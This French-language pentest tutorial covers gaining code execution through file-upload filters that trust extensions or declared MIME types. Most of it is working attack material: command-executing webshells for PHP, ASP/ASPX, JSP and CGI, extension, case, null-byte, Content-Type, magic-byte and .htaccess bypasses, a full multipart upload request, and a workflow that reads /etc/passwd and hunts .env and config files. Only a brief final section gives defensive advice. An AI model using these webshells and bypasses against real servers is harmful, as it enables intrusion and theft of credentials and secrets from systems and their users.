Upload de fichiers : exécution de code par contournement d'extension
Certaines applications acceptent des uploads de fichiers en se fiant uniquement à l’extension ou au type MIME déclaré par le client, sans vérifier le contenu réel du fichier. Un fichier de script renommé avec une extension image peut traverser ce filtre et, si le serveur l’exécute via son interpréteur, produire une exécution de code arbitraire.
Identifier la technologie serveur
Section intitulée « Identifier la technologie serveur »Avant de construire un payload, identifier le langage exécuté côté serveur oriente le choix du fichier à uploader.
# Lire les en-têtes de réponsecurl -sI http://cible/ | grep -iE "server|x-powered-by"Server: Apache/2.4.54X-Powered-By: PHP/8.1.12Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETServer: Apache Tomcat/9.0.65En l’absence d’en-têtes révélateurs, les extensions des pages existantes (.php, .asp, .aspx, .jsp) renseignent directement sur la technologie.
Payloads par technologie
Section intitulée « Payloads par technologie »PHP (Apache, Nginx)
Section intitulée « PHP (Apache, Nginx) »<?php system($_GET['cmd']); ?>Extensions cibles : .php, .php3, .php4, .php5, .php7, .phtml, .phar
Test de détection minimal :
echo '<?php echo "RCE_TEST_OK"; ?>' > test.php.pngLecture de fichiers sensibles :
<?phpecho '<pre>';$last_line = system('cd /etc/ && cat passwd', $retval);echo '</pre>Dernière ligne : ' . $last_line . 'Valeur retournée : ' . $retval;?>ASP / ASPX (IIS)
Section intitulée « ASP / ASPX (IIS) »<!-- ASP classique --><% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll) %><!-- ASP.NET WebForms --><%@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process { StartInfo = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) { UseShellExecute = false, RedirectStandardOutput = true } }.Start() ? "ok" : "fail"); %>Extensions cibles : .asp, .aspx, .ashx, .asmx, .cer, .asa
JSP (Tomcat, JBoss, GlassFish)
Section intitulée « JSP (Tomcat, JBoss, GlassFish) »<%@ page import="java.io.*" %><%String cmd = request.getParameter("cmd");Process p = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while ((line = br.readLine()) != null) out.println(line);%>Extensions cibles : .jsp, .jspx, .jsw, .jsv, .jspf
CGI, Perl / Python (Apache avec mod_cgi)
Section intitulée « CGI, Perl / Python (Apache avec mod_cgi) »#!/usr/bin/perluse CGI;my $q = CGI->new;print $q->header;print `$ENV{QUERY_STRING}`;#!/usr/bin/env python3import os, syscmd = os.environ.get('QUERY_STRING', '')print("Content-Type: text/plain\n")print(os.popen(cmd).read())Extensions cibles : .pl, .cgi, .py (si mod_cgi actif)
Détecter la vulnérabilité
Section intitulée « Détecter la vulnérabilité »Uploader un fichier de test avec une double extension et accéder à son URL :
# PHPecho '<?php echo "RCE_TEST_OK"; ?>' > test.php.png
# ASPecho '<% Response.Write("RCE_TEST_OK") %>' > test.asp.png
# JSPecho '<% out.print("RCE_TEST_OK"); %>' > test.jsp.png- Réponse contenant
RCE_TEST_OK→ exécution confirmée - Affichage du code source brut → fichier servi en statique, pas exécuté
- Erreur ou refus à l’upload → filtre actif, tenter les bypasses
Techniques de bypass
Section intitulée « Techniques de bypass »Double extension
Section intitulée « Double extension »La technique de base : ajouter l’extension attendue après l’extension exécutable.
shell.php.pngshell.asp.jpgshell.jsp.gifSur Apache mal configuré, la présence d’une extension reconnue par l’interpréteur dans le nom suffit à déclencher l’exécution.
Extensions alternatives
Section intitulée « Extensions alternatives »Si l’extension principale est bloquée :
# PHP.php3 .php4 .php5 .php7 .phtml .phar .shtml
# ASP/ASPX (IIS).cer .asa .ashx .asmx
# JSP.jspx .jsw .jspfVariation de casse
Section intitulée « Variation de casse »shell.PHP shell.Php shell.pHpshell.ASP shell.Aspshell.JSP shell.JspNull byte (PHP < 5.3)
Section intitulée « Null byte (PHP < 5.3) »shell.php%00.pngManipulation du Content-Type
Section intitulée « Manipulation du Content-Type »Le type MIME (image/png, application/pdf, text/html…) est l’étiquette qui annonce la nature d’un contenu. Sur un upload multipart, il est déclaré par le client dans l’en-tête Content-Type de la partie concernée. Un serveur qui filtre sur cette seule valeur fait confiance à une donnée entièrement contrôlée par l’attaquant.
Il suffit d’intercepter la requête dans Burp Suite et de forcer un type accepté, tout en gardant un contenu exécutable :
Content-Type: image/pngLe serveur se fie au type déclaré par le client sans lire le contenu réel. Le fichier franchit le filtre alors qu’il embarque du code, par exemple un filename="index.php" annoncé comme image/png.
Magic bytes
Section intitulée « Magic bytes »Préfixer le payload avec la signature du format image attendu pour tromper une vérification basée sur les octets :
# Signature GIF89a + payload PHPprintf 'GIF89a' > shell.php.gifecho '<?php system($_GET["cmd"]); ?>' >> shell.php.gif
# Signature PNG (\x89PNG) + payloadprintf '\x89PNG\r\n\x1a\n' > shell.php.pngecho '<?php system($_GET["cmd"]); ?>' >> shell.php.pngUpload de .htaccess (Apache)
Section intitulée « Upload de .htaccess (Apache) »Si l’application accepte les fichiers .htaccess, forcer l’exécution PHP sur l’extension de son choix :
AddType application/x-httpd-php .pngAprès upload de ce .htaccess, tous les .png du répertoire sont interprétés comme PHP.
Intercepter et modifier avec Burp Suite
Section intitulée « Intercepter et modifier avec Burp Suite »- Uploader un fichier
.pnglégitime via le formulaire - Dans Burp Proxy → HTTP history, retrouver la requête POST
- Envoyer vers le Repeater (
Ctrl+R) - Modifier le
filenameet le contenu dans le corps multipart - Rejouer et observer la réponse
POST /upload HTTP/1.1Host: cibleContent-Type: multipart/form-data; boundary=----Boundary
------BoundaryContent-Disposition: form-data; name="file"; filename="shell.php.png"Content-Type: image/png
<?php system($_GET['cmd']); ?>------Boundary--Workflow en pratique
Section intitulée « Workflow en pratique »1. Identifier la technologie serveur curl -sI http://cible/ | grep -iE "server|x-powered-by" → choisir le payload correspondant
2. Tester l'exécution avec le payload minimal → uploader, accéder à l'URL, chercher la chaîne de confirmation
3. Si refusé → tenter les bypasses dans l'ordre → double extension → extensions alternatives → variation de casse → modification Content-Type dans Burp → magic bytes en tête du fichier → upload de .htaccess si Apache
4. Une fois l'exécution confirmée → lire /etc/passwd (Linux) ou C:\Windows\System32\drivers\etc\hosts (Windows) → déployer un webshell paramétré pour l'exploration
5. Chercher des fichiers de configuration ?cmd=find+/var/www+-name+"*.env" ?cmd=find+/var/www+-name+"config.php" ?cmd=find+/var/www+-name+"web.config"Ajuster le chemin relatif pour lire un fichier
Section intitulée « Ajuster le chemin relatif pour lire un fichier »Une fois le fichier exécuté, le payload lit souvent une ressource sensible par chemin relatif. Mais l’emplacement réel du fichier uploadé n’est pas toujours celui attendu : les applications rangent fréquemment les uploads dans un sous-répertoire dédié. Observer le chemin où la ressource est servie, à partir de l’URL de l’upload, révèle la profondeur à remonter pour atteindre la cible.
Un premier essai lit le fichier deux niveaux plus haut :
<?phpecho file_get_contents('../../.passwd');Si la ressource n’est pas trouvée, c’est que le fichier est rangé plus profond. On ajoute un niveau et on rejoue :
<?phpecho file_get_contents('../../../.passwd');On incrémente le nombre de ../ jusqu’à retomber sur le fichier visé. Le nombre exact se déduit de l’emplacement d’upload observé, pas d’une supposition.
À retenir
Section intitulée « À retenir »La validation d’extension côté client n’offre aucune protection. Côté serveur, la vérification doit porter sur le contenu réel du fichier (magic bytes) et non sur le nom ou le Content-Type déclaré. La neutralisation la plus fiable consiste à configurer le répertoire d’upload pour qu’il serve les fichiers exclusivement en statique, sans exécution possible, quelle que soit l’extension uploadée.